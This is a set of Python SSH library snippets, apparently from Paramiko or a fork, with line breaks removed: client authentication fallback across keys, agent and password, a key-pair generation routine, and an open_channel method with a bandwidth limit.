methods if not allowed_types: allowed_types = {'password', 'publickey'} if pkey is not None and 'publickey' in allowed_types: try: self._log( DEBUG, "Trying SSH key %s" % hexlify(pkey.get_fingerprint()).decode()) allowed_types = set( self._transport.auth_publickey(username, pkey)) two_factor = (allowed_types & two_factor_types) if not two_factor: return except SSHException as e: saved_exception = e if not two_factor and 'publickey' in allowed_types: for key_filename in key_filenames: try: key = self._key_from_filepath(key_filename, password=passphrase) allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except SSHException as e: saved_exception = e if allow_agent and not two_factor and 'publickey' in allowed_types: if self._agent is None: self._agent = Agent() for key in self._agent.get_keys(): try: self._log( DEBUG, "Trying SSH agent key %s" % hexlify(key.get_fingerprint()).decode()) allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except SSHException as e: saved_exception = e if look_for_keys and not two_factor and 'publickey' in allowed_types: keyfiles = [] for keytype, name in [ (RSAKey, "rsa"), (DSSKey, "dsa"), (ECDSAKey, "ecdsa"), (Ed25519Key, "ed25519"), ]: # ~/ssh/ is for windows for directory in [".ssh", "ssh"]: full_path = os.path.expanduser("~/{}/id_{}".format( directory, name)) if os.path.isfile(full_path): # TODO: only do this append if below did not run keyfiles.append((keytype, full_path)) if os.path.isfile(full_path + '-cert.pub'): keyfiles.append((keytype, full_path + '-cert.pub')) for pkey_class, filename in keyfiles: try: key = self._key_from_filepath( filename, pkey_class, passphrase, ) allowed_types = set( self._transport.auth_publickey(username, key)) two_factor = (allowed_types & two_factor_types) if not two_factor: return break except (SSHException, IOError) as e: saved_exception = e # possible two_factor second factors # (allowed_types could have been updated, only if two_factor) if password is not None and 'password' in allowed_types: try: self._log(DEBUG, 'Trying password') allowed_types = set( self._transport.auth_password(username, password)) two_factor = allowed_types & two_factor_types if not two_factor: return except SSHException as e: saved_exception = e if 'keyboard-interactive' in allowed_types: try: self._log(DEBUG, 'Trying interactive auth') self._transport.auth_interactive_dumb(username) return except SSHException as e: saved_exception = e # if we got an auth-failed exception earlier, re-raise it if saved_exception is not None: raise saved_exception raise SSHException('No authentication methods available')
for o in list(default_values.keys()): globals()[o] = getattr(options, o, default_values[o.lower()]) if options.newphrase: phrase = getattr(options, "newphrase") if options.verbose: pfunc = progress sys.stdout.write( "Generating priv/pub %s %d bits key pair (%s/%s.pub)..." % (ktype, bits, filename, filename)) sys.stdout.flush() if ktype == "dsa" and bits > 1024: raise SSHException("DSA Keys must be 1024 bits") if ktype not in key_dispatch_table: raise SSHException("Unknown %s algorithm to generate keys pair" % ktype) # generating private key prv = key_dispatch_table[ktype].generate(bits=bits, progress_func=pfunc) prv.write_private_key_file(filename, password=phrase) # generating public key pub = key_dispatch_table[ktype](filename=filename, password=phrase) with open("%s.pub" % filename, "w") as f: f.write("%s %s" % (pub.get_name(), pub.get_base64())) if options.comment: f.write(" %s" % comment)
def open_channel( self, kind, dest_addr=None, src_addr=None, window_size=None, max_packet_size=None, timeout=None, ): """ Request a new channel to the server. `Channels <.Channel>` are socket-like objects used for the actual transfer of data across the session. You may only request a channel after negotiating encryption (using `connect` or `start_client`) and authenticating. .. note:: Modifying the the window and packet sizes might have adverse effects on the channel created. The default values are the same as in the OpenSSH code base and have been battle tested. :param str kind: the kind of channel requested (usually ``"session"``, ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``) :param tuple dest_addr: the destination address (address + port tuple) of this port forwarding, if ``kind`` is ``"forwarded-tcpip"`` or ``"direct-tcpip"`` (ignored for other channel types) :param src_addr: the source address of this port forwarding, if ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"`` :param int window_size: optional window size for this session. :param int max_packet_size: optional max packet size for this session. :param float timeout: optional timeout opening a channel, default 3600s (1h) :param float limit: optional Limits the used bandwidth, specified in Mbit/s. :return: a new `.Channel` on success :raises: `.SSHException` -- if the request is rejected, the session ends prematurely or there is a timeout openning a channel .. versionchanged:: 1.15 Added the ``window_size`` and ``max_packet_size`` arguments. """ if not self.active: raise SSHException("SSH session not active") timeout = 3600 if timeout is None else timeout self.lock.acquire() try: window_size = self._sanitize_window_size(window_size) max_packet_size = self._sanitize_packet_size(max_packet_size) chanid = self._next_channel() m = Message() m.add_byte(cMSG_CHANNEL_OPEN) m.add_string(kind) m.add_int(chanid) m.add_int(window_size) m.add_int(max_packet_size) if (kind == "forwarded-tcpip") or (kind == "direct-tcpip"): m.add_string(dest_addr[0]) m.add_int(dest_addr[1]) m.add_string(src_addr[0]) m.add_int(src_addr[1]) elif kind == "x11": m.add_string(src_addr[0]) m.add_int(src_addr[1]) chan = BCChannel(chanid) if self.limit is not None: chan.set_limit(limit=self.limit) self._channels.put(chanid, chan) self.channel_events[chanid] = event = threading.Event() self.channels_seen[chanid] = True chan._set_transport(self) chan._set_window(window_size, max_packet_size) finally: self.lock.release() self._send_user_message(m) start_ts = time.time() while True: event.wait(0.1) if not self.active: e = self.get_exception() if e is None: e = SSHException("Unable to open channel.") raise e if event.is_set(): break elif start_ts + timeout < time.time(): raise SSHException("Timeout opening channel.") chan = self._channels.get(chanid) if chan is not None: return chan e = self.get_exception() if e is None: e = SSHException("Unable to open channel.") raise e